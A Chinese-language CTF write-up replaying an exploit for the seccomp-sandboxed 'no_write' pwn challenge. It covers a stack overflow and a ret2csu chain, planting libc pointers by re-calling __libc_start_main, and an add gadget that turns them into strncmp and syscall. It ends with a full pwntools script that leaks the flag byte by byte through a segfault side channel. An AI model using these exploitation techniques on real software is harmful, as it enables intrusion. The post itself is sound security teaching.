这道题ban掉了打印函数,当时比赛的时候找到了相关的SROP开启沙盒的博客,也知道了要考虑用strncmp来进行flag的单字节的爆破。但是我一鼓作气再而衰了,第二天没太玩命,利用脚本没有写出来, SROP对于我还说还是套脚本..
来复现一下ruan大佬的脚本ruan博客
检测 这里我使用了seccomp-tools
工具 命令seccomp-tools dump ./no_write
1 2 3 4 5 6 7 8 9 10 11 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x06 0x00 0x40000000 if (A >= 0x40000000) goto 0010 0004: 0x15 0x04 0x00 0x00000002 if (A == open) goto 0009 0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009 0006: 0x15 0x02 0x00 0x0000003c if (A == exit) goto 0009 0007: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0009 0008: 0x06 0x00 0x00 0x00000000 return KILL 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x06 0x00 0x00 0x00000000 return KILL
发现程序仅仅让使用open,read,exit这几个调用,剩下全部KILL。 程序保护
1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
思路 我的本来思路是利用SROP打包一个任意函数调用的函数,然后通过open将flag读入内存,在read参与爆破的字符进内存,利用strncmp来进行比较。但是失败了。 然后本次脚本的利用是重新调用__libc_start_main实现在可控制内存内读入一些libc空间地址。然后通过add一个偏移来实现将我们想要执行的函数指针写入可控制内存 然后进行比较
将libc指针写入内存 我们在这里用到的指针为strncmp指针,还有syscall。 调用__libc_start_main
会在内存内写入initial
,exit_funcs_lock
的libc地址,首先我们来实现call cs:__libc_start_main_ptr
这里我们利用ret2__libc_csu_init
来进行三个参数的函数调用的打包。
1 2 3 4 5 def ret_csu(func,arg1=0,arg2=0,arg3=0): payload = '' payload += p64(0)+p64(1)+p64(func) payload += p64(arg1)+p64(arg2)+p64(arg3)+p64(0x000000000400750)+p64(0) return payload
IDA反编译代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 text:0000000000400750 loc_400750: ; CODE XREF: __libc_csu_init+54↓j .text:0000000000400750 mov rdx, r15 .text:0000000000400753 mov rsi, r14 .text:0000000000400756 mov edi, r13d .text:0000000000400759 call qword ptr [r12+rbx*8] .text:000000000040075D add rbx, 1 .text:0000000000400761 cmp rbp, rbx .text:0000000000400764 jnz short loc_400750 .text:0000000000400766 .text:0000000000400766 loc_400766: ; CODE XREF: __libc_csu_init+34↑j .text:0000000000400766 add rsp, 8 .text:000000000040076A pop rbx .text:000000000040076B pop rbp .text:000000000040076C pop r12 .text:000000000040076E pop r13 .text:0000000000400770 pop r14 .text:0000000000400772 pop r15 .text:0000000000400774 retn
构造read(0,0x601350,0x400)与leave_(0x6013f8)_ret来实现将stack迁移到0x6013f8空间段。
1 2 3 4 5 pppppp_ret=0x40076A payload = "A"*0x18+p64(pppppp_ret)+ret_csu(read_got,0,0x601350,0x400) payload += p64(0)+p64(0x6013f8)+p64(0)*4+p64(leave_tet) payload = payload.ljust(0x100,'\x00') p.send(payload)
然后调用__libc_start_main来实现往0x601300段写入地址
1 2 3 4 payload = "\x00"*(0x100-0x50) payload += p64(p_rdi)+p64(readn)+p64(call_libc_start_main) payload = payload.ljust(0x400,'\x00') p.send(payload)
如下,此刻0x601310为__exit_funcs_lock
的真实地址,0x601318为initial
的真实地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 gdb-peda$ x/32gx 0x601300 0x601300: 0x0000000000000000 0x0000000000000000 0x601310: 0x00007febdbf76628 0x00007febdbf72d80 0x601320: 0x00007febdbbc9489 0x0000000000000000 0x601330: 0x00000000004006e5 0x00000400dbc96081 0x601340: 0x0000000000601350 0x00007febdbc96081 0x601350: 0x000000000040076a 0x00000000ffd98790 0x601360: 0x0000000000601355 0x0000000000000000 0x601370: 0x0000000000000000 0x0000000000000000 0x601380: 0x0000000000000000 0x00000000004005e8 0x601390: 0x000000000040076a 0x00000000ffce234d 0x6013a0: 0x000000000060134d 0x0000000000000000 0x6013b0: 0x0000000000000000 0x0000000000000000 0x6013c0: 0x0000000000000000 0x00000000004005e8 0x6013d0: 0x000000000040076a 0x0000000000000000 0x6013e0: 0x0000000000000001 0x0000000000600fd8 0x6013f0: 0x0000000000000000 0x0000000000601800
改写libc指针 这里用到了一段奇异的代码,也是我没想到的代码,这段指令的相对位置为__do_global_dtors_aux+0x18
,代码为
1 2 3 0x4005e8 <__do_global_dtors_aux+24>: add DWORD PTR [rbp-0x3d],ebx 0x4005eb <__do_global_dtors_aux+27>: nop DWORD PTR [rax+rax*1+0x0] 0x4005f0 <__do_global_dtors_aux+32>: repz ret
如图,可以对rbp-0x3d的值进行add操作,我们控制rbp-0x3d为指向initial
的指针,就能对initial
进行一个任意偏移的add,实现写入任意libc地址。
1 2 3 4 5 6 7 offset = 0x267870 #initial - __strncmp_sse42 payload = p64(pppppp_ret)+p64((0x100000000-offset)&0xffffffff) payload += p64(0x601318+0x3D)+p64(0)*4+p64(0x4005E8) offset = 0x31dcb3 # __exit_funcs_lock - syscall payload += p64(pppppp_ret)+p64((0x100000000-offset)&0xffffffff) payload += p64(0x601310+0x3D)+p64(0)*4+p64(0x4005E8) p.send(payload)
这样我们就实现在0x601318处写入__strncmp_sse42
,在0x601310处写入syscall
. 查看效果
1 2 3 4 5 6 gdb-peda$ x/2gx 0x601310 0x601310: 0x00007febdbc58975 0x00007febdbd0b510 gdb-peda$ x/gi 0x00007febdbc58975 0x7febdbc58975 <__time_syscall+5>: syscall gdb-peda$ x/gi 0x00007febdbd0b510 0x7febdbd0b510 <__strncmp_sse42>: test rdx,rdx
读入flag 这里由于我们已经有了syscall
的地址,我们通过read(0,xxx,2)来实现控制eax=2
1 2 3 4 5 6 payload += p64(pppppp_ret)+ret_csu(read_got,0,0x601800,2) payload += p64(0)*6 payload += p64(pppppp_ret)+ret_csu(0x601310,0x601350+0x3f8,0,0) #open flag payload += p64(0)*6 payload += p64(pppppp_ret)+ret_csu(read_got,3,0x601800,0x100) #read flag payload += p64(0)*6
读入字符,进行flag爆破 这里我们面临最后一个问题,如何去进行strncmp是否的判断,这里用的是将字符读入0x601fff
,然后进行strncmp(0x601800+i,0x601fff,2)
的判断,如果0x601fff处字符正确, 程序去读取0x602000,从而引发segment fault
.
1 2 3 4 5 6 7 8 9 10 11 12 payload += p64(pppppp_ret)+ret_csu(read_got,0,0x601ff8,8) # now we can cmp the flag one_by_one payload += p64(0)*6 payload += p64(pppppp_ret)+ret_csu(0x601318,0x601800+i,0x601fff,2) payload += p64(0)*6 for _ in range(4): payload += p64(p_rdi)+p64(0x601700)+p64(p_rsi_r15)+p64(0x100)+p64(0)+p64(readn) payload = payload.ljust(0x3f8,'\x00') payload += "flag\x00\x00\x00\x00" p.send(payload) p.send("dd"+"d"*7+j)
如图,若flag正确,程序报错 当flag字符错误时,程序可以跳出strncmp向下执行
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 from pwn import * import string context.arch='amd64' def ret_csu(func,arg1=0,arg2=0,arg3=0): payload = '' payload += p64(0)+p64(1)+p64(func) payload += p64(arg1)+p64(arg2)+p64(arg3)+p64(0x000000000400750)+p64(0) return payload def main(host,port=2333): charset = '}{_'+string.digits+string.letters flag = '' for i in range(0x30): for j in charset: try: p = process("./no_write") pppppp_ret = 0x00000000040076A read_got = 0x000000000600FD8 call_libc_start_main = 0x000000000400544 p_rdi = 0x0000000000400773 p_rsi_r15 = 0x0000000000400771 # 03:0018| 0x601318 -> 0x7f6352629d80 (initial) <-0x0 offset = 0x267870 #initial - __strncmp_sse42 readn = 0x0000000004006BF #gdb.attach(p,"b *0x40076A") leave_tet = 0x00000000040070B payload = "A"*0x18+p64(pppppp_ret)+ret_csu(read_got,0,0x601350,0x400) payload += p64(0)+p64(0x6013f8)+p64(0)*4+p64(leave_tet) payload = payload.ljust(0x100,'\x00') p.send(payload) sleep(0.3) payload = "\x00"*(0x100-0x50) payload += p64(p_rdi)+p64(readn)+p64(call_libc_start_main) payload = payload.ljust(0x400,'\x00') p.send(payload) sleep(0.3) # 0x601318 payload = p64(pppppp_ret)+p64((0x100000000-offset)&0xffffffff) payload += p64(0x601318+0x3D)+p64(0)*4+p64(0x4005E8) # 0x00000000000d2975: syscall; ret; # 02:0010| 0x601310 -> 0x7f61d00d8628 (__exit_funcs_lock) <- 0x0 offset = 0x31dcb3 # __exit_funcs_lock - syscall payload += p64(pppppp_ret)+p64((0x100000000-offset)&0xffffffff) payload += p64(0x601310+0x3D)+p64(0)*4+p64(0x4005E8) payload += p64(pppppp_ret)+ret_csu(read_got,0,0x601800,2) payload += p64(0)*6 payload += p64(pppppp_ret)+ret_csu(0x601310,0x601350+0x3f8,0,0) #open flag payload += p64(0)*6 payload += p64(pppppp_ret)+ret_csu(read_got,3,0x601800,0x100) #read flag payload += p64(0)*6 payload += p64(pppppp_ret)+ret_csu(read_got,0,0x601ff8,8) # now we can cmp the flag one_by_one payload += p64(0)*6 payload += p64(pppppp_ret)+ret_csu(0x601318,0x601800+i,0x601fff,2) payload += p64(0)*6 for _ in range(4): payload += p64(p_rdi)+p64(0x601700)+p64(p_rsi_r15)+p64(0x100)+p64(0)+p64(readn) payload = payload.ljust(0x3f8,'\x00') payload += "flag\x00\x00\x00\x00" p.send(payload) sleep(0.3) p.send("dd"+"d"*7+j) sleep(0.5) p.recv(timeout=0.5) p.send("A"*0x100) #pause() p.close() # p.interactive() except EOFError: flag += j print flag if(j == '}'): exit() p.close() # pause() break if __name__ == "__main__": # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False) main(0)
总结 重新调用__libc_start_main
来往bss段弹入libc空间地址我之前是没学到的,配合__do_global_dtors_aux+0x18
可以轻松的实现写入任意函数地址的效果。